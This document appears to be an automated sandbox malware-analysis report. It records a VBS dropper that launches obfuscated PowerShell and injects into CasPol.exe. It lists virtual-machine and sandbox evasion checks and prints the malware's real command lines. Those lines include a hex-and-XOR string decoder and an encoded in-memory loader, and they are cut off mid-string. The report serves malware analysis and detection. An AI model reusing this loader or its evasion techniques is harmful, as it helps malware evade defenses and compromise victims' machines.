Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\qga\qga.exe			Jump to behavior

Potential evasive VBS script found (use of timer() function in loop)

Source: Initial file

Initial file: do while timer-temp<sec

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 7240	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 7240	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 2076	Thread sleep count: 730 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 2076	Thread sleep time: -365000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 7240	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9239			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: threadDelayed 730			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

System information queried: ModuleInformation

Jump to behavior

Source: CasPol.exe, 00000007.00000002.6653187392.0000000002B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: CasPol.exe, 00000007.00000002.6648567310.0000000001090000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: CasPol.exe, 00000007.00000002.6653187392.0000000002B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: CasPol.exe, 00000007.00000002.6653187392.0000000002B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: CasPol.exe, 00000007.00000002.6653187392.0000000002B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: CasPol.exe, 00000007.00000002.6653187392.0000000002B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: CasPol.exe, 00000007.00000002.6653187392.0000000002B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: CasPol.exe, 00000007.00000002.6653187392.0000000002B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: CasPol.exe, 00000007.00000002.6650870632.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWU%
Source: CasPol.exe, 00000007.00000002.6650870632.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: CasPol.exe, 00000007.00000002.6653187392.0000000002B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: CasPol.exe, 00000007.00000002.6653187392.0000000002B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: CasPol.exe, 00000007.00000002.6653187392.0000000002B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: CasPol.exe, 00000007.00000002.6653187392.0000000002B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Code function: 7_2_00CDB5B8 LdrInitializeThunk,

7_2_00CDB5B8

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$vildmnd = """saflauconfacgatunistounnli sussemleeaurgltinefrnansfrbanacarirnprsre0st to{ch ir al ud dopcoaserusapeman(th[fosrethorkoibonsagsu]in`$norafenogunihyoopnmeshapfrlinathnstlvaoisvunsel)bo;hu in po fe fo`$didocewilmuiunnphtbaeherjuvsyanalprlgaetorkonifecosdi no=br whnbeetrwko-fjokobthjraeleccotun bebstyentcieko[cu]hu cr(hy`$mrrdreoagviimyobantvskvpeklovaacnfrlslohovsospi.sulabenenwagsmthuhth no/be ze2co)st;pe sk gt mi sufudomerom(cr`$arkublvaiovssetunremiaznteggeeunrgu=al0re;un tr`$spktjldrimesaktsurfoiunncagmeesaric he-falbrtka ac`$tirwieudgudideoranobsskprelmiaprnanlreoalvinsfo.boltrefanprgfrtsthdd;uu sp`$sykfolgoialsextinrtrilinungskeicrre+fl=zi2he)le{ga ys un pa pr te ta il af`$trdbrenolfoisenfotcaebrrduvpeaarlmulinetrrfonshehyssa[re`$rekomlpaidastrtburoritenvegdoedirop/sw2be]em gk=lo co[poconosuntivunemarkrtta]vi:tr:witreorobvgyettwaede(ma`$grrwhefogtuianononbysdiploldeafonprludofovgrsun.pasfoucobdusbrtforclimentugli(ja`$cekmeliciaysaftmirgricinuvgunestrse,fu te2ho)ko,sk ba1ti6va)fl;ga va ar`$undscekelpiirenfltpeedortevstacolfjltreperacnovedisla[ca`$afktalidiklscotskrhyiunnbrgsueasrte/mo2pe]le zo=mi ne(ne`$pidsleaulsuifanmytfjeanrfevteaprlnolkrelurfrnbyethsob[ek`$bakudltriorslatserosichnjegskethrsp/er2mu]bi be-prbmeximoforgr es1sk6st5fr)de;ar kn gi an ma}he vn[resgatakrhaisinlogox]fi[tasmoycoshatpaechmor.untaleabxovtfo.exekvnnocaaomedstihonasgbo]no:bi:tiadisbecgrilaihu.ragcoevitkosvatprrunilansugha(ec`$madexekvlfaiflnbateneporssvfuajalinlinegorexnbiewhsan)eq;pa}st`$rifupokorsksinkminveifandugmesrerliebrsovurelhotidaurtdiektrdesfa0in=sishimufecergotafeprnknsvibheahyreknmissi0fi dr'mefsv6afdsncfadsu6sudve1inchj0afcun8da8udbbvcma1bacre9vacor9sa'un;al`$lifodokerhoslikconhuitrnspgdoslarsueejsteutelvetbiagrtreeovransle1wa=ouslummoeurrbrtumekanhyspobmuawirinnansno0br no'udean8kocrucuncdo6trdwo7cuccuafadha6lycdiauncne3krdca1ma8flbimfdi2ddcdycsacgrbse9am6ch9ok7re8grbskfhu0recfibmoddi6nacco4skcun3hicbr0keetrbpocsh4grdre1ancbocyndso3micaf0saeun8sacto0tidco1scczodnocflamecut1kodse6bo'sq;gr`$fifdoostrnoskokidncoiblnskgjossprdaetssteuunlsttsvaprthoechrhysdi2ny=posummpeeknrqutclehonidsfobfoaprrunnkospo0ra ve'trepa2imcre0spdpr1vafca5tedpa7lycbrahecsi6dieir4vacfr1dacva1upddu7tecgy0hodre6uddsu6de'me;ud`$grfteolerluscukclnraisanhagciscyrbeedesvausylfotskaantmuesarudset3la=rasstmekeskrsathuesuntrsinbbeaherronfosku0he co'frfre6sldmecfodin6bedop1tocbu0cocul8gu8mebunfco7opdmo0macwebjadvi1plcjocarcsh8bacst0nu8cobmeerecdicfebtadly1socom0eudaf7recsuatoddh5brfva6pscin0feddi7madba3kacchcrecme6flcde0uidhu6re8rebgeesedbacsp4klcstbrycca1skcfr9dacke0esfmi7uncdu0prcas3hf'gr;de`$pofchomirpesdikflninibanovgsasmarkaegrsbeuvalfotfratrthiealrstskl4da=fosnomfjegorsvtgrebunkaslgbsparorunnsosin0al gr'jodad6endse1pedch7dicprcamcsybfrcpi2mu'ra;we`$irfbrolursuscoktonfeiannnogtasmirpieliscautalextkaasptdoeunrsisir5do=ocsmimbaestrretltesonfusudbgramurfonmosdr0m
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "function smertensbarns0 { param([string]$regionsplanlovs); $delintervallernes = new-object byte[] ($regionsplanlovs.length / 2); for($klistringer=0; $klistringer -lt $regionsplanlovs.length; $klistringer+=2){ $delintervallernes[$klistringer/2] = [convert]::tobyte($regionsplanlovs.substring($klistringer, 2), 16); $delintervallernes[$klistringer/2] = ($delintervallernes[$klistringer/2] -bxor 165); } [string][system.text.encoding]::ascii.getstring($delintervallernes);}$forskningsresultaters0=smertensbarns0 'f6dcd6d1c0c88bc1c9c9';$forskningsresultaters1=smertensbarns0 'e8ccc6d7cad6cac3d18bf2cccb96978bf0cbd6c4c3c0ebc4d1ccd3c0e8c0d1cdcac1d6';$forskningsresultaters2=smertensbarns0 'e2c0d1f5d7cac6e4c1c1d7c0d6d6';$forskningsresultaters3=smertensbarns0 'f6dcd6d1c0c88bf7d0cbd1ccc8c08beccbd1c0d7cad5f6c0d7d3ccc6c0d68bedc4cbc1c9c0f7c0c3';$forskningsresultaters4=smertensbarns0 'd6d1d7cccbc2';$forskningsresultaters5=smertensbarns0 'e2c0d1e8cac1d0c9c0edc4cbc1c9c0';$forskningsresultaters6=smertensbarns0 'f7f1f6d5c0c6ccc4c9ebc4c8c08985edccc1c0e7dcf6ccc28985f5d0c7c9ccc6';$forskningsresultaters7=smertensbarns0 'f7d0cbd1ccc8c08985e8c4cbc4c2c0c1';$forskningsresultaters8=smertensbarns0 'f7c0c3c9c0c6d1c0c1e1c0c9c0c2c4d1c0';$forskningsresultaters9=smertensbarns0 'eccbe8c0c8cad7dce8cac1d0c9c0';$ghegish0=smertensbarns0 'e8dce1c0c9c0c2c4d1c0f1dcd5c0';$ghegish1=smertensbarns0 'e6c9c4d6d68985f5d0c7c9ccc68985f6c0c4c9c0c18985e4cbd6cce6c9c4d6d68985e4d0d1cae6c9c4d6d6';$ghegish2=smertensbarns0 'eccbd3cacec0';$ghegish3=smertensbarns0 'f5d0c7c9ccc68985edccc1c0e7dcf6ccc28985ebc0d2f6c9cad18985f3ccd7d1d0c4c9';$ghegish4=smertensbarns0 'f3ccd7d1d0c4c9e4c9c9cac6';$ghegish5=smertensbarns0 'cbd1c1c9c9';$ghegish6=smertensbarns0 'ebd1f5d7cad1c0c6d1f3ccd7d1d0c4c9e8c0c8cad7dc';$ghegish7=smertensbarns0 'ece0fd';$ghegish8=smertensbarns0 'f9';function fkp {param ($upgrown, $depressionsperioder) ;$hoeres0 =smertensbarns0 '81eed7c8c8c0d7c0cb8598858dfee4d5d5e1cac8c4cccbf89f9fe6d0d7d7c0cbd1e1cac8c4cccb8be2c0d1e4d6d6c0c8c7c9ccc0d68d8c85d985f2cdc0d7c088eac7cfc0c6d185de8581fa8be2c9cac7c4c9e4d6d6c0c8c7c9dce6c4c6cdc08588e4cbc18581fa8be9cac6c4d1cccacb8bf6d5c9ccd18d81e2cdc0c2ccd6cd9d8cfe8894f88be0d4d0c4c9d68d81e3cad7d6cecbcccbc2d6d7c0d6d0c9d1c4d1c0d7d6958c85d88c8be2c0d1f1dcd5c08d81e3cad7d6cecbcccbc2d6d7c0d6d0c9d1c4d1c0d7d6948c';&($ghegish7) $hoeres0;$hoeres5 = smertensbarns0 '81e6cdccc9c985988581eed7c8c8c0d7c0cb8be2c0d1e8c0d1cdcac18d81e3cad7d6cecbcccbc2d6d7c0d6d0c9d1c4d1c0d7d6978985fef1dcd5c0fef8f885e58d81e3cad7d6cecbcccbc2d6d7c0d6d0c9d1c4d1c0d7d696898581e3cad7d6cecbcccbc2d6d7c0d6d0c9d1c4d1c0d7d6918c8c';&($ghegish7) $hoeres5;$hoeres1 = smertensbarns0 'd7c0d1d0d7cb8581e6cdccc9c98beccbd3cacec08d81cbd0c9c98985e58dfef6dcd6d1c0c88bf7d0cbd1ccc8c08beccbd1c0d7cad5f6c0d7d3ccc6c0d68bedc4cbc1c9c0f7c0c3f88debc0d288eac7cfc0c6d185f6dcd6d1c0c88bf7d0cbd1ccc8c08beccbd1c0d7cad5f6c0d7d3cc
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$vildmnd = """saflauconfacgatunistounnli sussemleeaurgltinefrnansfrbanacarirnprsre0st to{ch ir al ud dopcoaserusapeman(th[fosrethorkoibonsagsu]in`$norafenogunihyoopnmeshapfrlinathnstlvaoisvunsel)bo;hu in po fe fo`$didocewilmuiunnphtbaeherjuvsyanalprlgaetorkonifecosdi no=br whnbeetrwko-fjokobthjraeleccotun bebstyentcieko[cu]hu cr(hy`$mrrdreoagviimyobantvskvpeklovaacnfrlslohovsospi.sulabenenwagsmthuhth no/be ze2co)st;pe sk gt mi sufudomerom(cr`$arkublvaiovssetunremiaznteggeeunrgu=al0re;un tr`$spktjldrimesaktsurfoiunncagmeesaric he-falbrtka ac`$tirwieudgudideoranobsskprelmiaprnanlreoalvinsfo.boltrefanprgfrtsthdd;uu sp`$sykfolgoialsextinrtrilinungskeicrre+fl=zi2he)le{ga ys un pa pr te ta il af`$trdbrenolfoisenfotcaebrrduvpeaarlmulinetrrfonshehyssa[re`$rekomlpaidastrtburoritenvegdoedirop/sw2be]em gk=lo co[poconosuntivunemarkrtta]vi:tr:witreorobvgyettwaede(ma`$grrwhefogtuianononbysdiploldeafonprludofovgrsun.pasfoucobdusbrtforclimentugli(ja`$cekmeliciaysaftmirgricinuvgunestrse,fu te2ho)ko,sk ba1ti6va)fl;ga va ar`$undscekelpiirenfltpeedortevstacolfjltreperacnovedisla[ca`$afktalidiklscotskrhyiunnbrgsueasrte/mo2pe]le zo=mi 